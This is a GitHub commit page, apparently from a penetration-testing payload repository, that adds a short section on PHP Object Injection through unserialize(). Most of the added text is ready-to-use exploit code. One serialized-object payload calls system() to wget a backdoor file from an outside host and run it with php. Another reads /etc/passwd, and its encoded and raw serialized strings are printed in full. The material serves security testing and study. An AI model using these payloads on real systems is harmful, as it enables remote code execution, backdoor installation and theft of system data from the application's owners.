Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
swisskyrepo
committed
Oct 20, 2016
1 parent
bfd50ae
commit db09e42
Showing
2 changed files
with
27 additions
and
11 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,12 +1,31 @@ | ||
# Title | ||
Lorem | ||
# PHP Object Injection | ||
PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope. | ||
|
||
## Vuln | ||
## Exploit | ||
|
||
Reverse Shell | ||
```php | ||
class PHPObjectInjection | ||
{ | ||
// CHANGE URL/FILENAME TO MATCH YOUR SETUP | ||
public $inject = "system('wget http://URL/backdoor.txt -O phpobjbackdoor.php && php phpobjbackdoor.php');"; | ||
} | ||
|
||
echo urlencode(serialize(new PHPObjectInjection)); | ||
``` | ||
Code | ||
|
||
Basic detection | ||
```php | ||
class PHPObjectInjection | ||
{ | ||
// CHANGE URL/FILENAME TO MATCH YOUR SETUP | ||
public $inject = "system('cat /etc/passwd');"; | ||
} | ||
|
||
echo urlencode(serialize(new PHPObjectInjection)); | ||
//O%3A18%3A%22PHPObjectInjection%22%3A1%3A%7Bs%3A6%3A%22inject%22%3Bs%3A26%3A%22system%28%27cat+%2Fetc%2Fpasswd%27%29%3B%22%3B%7D | ||
//'O:18:"PHPObjectInjection":1:{s:6:"inject";s:26:"system(\'cat+/etc/passwd\');";}' | ||
``` | ||
|
||
## Thanks to | ||
* Lorem | ||
* Ipsum | ||
* https://www.owasp.org/index.php/PHP_Object_Injection |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters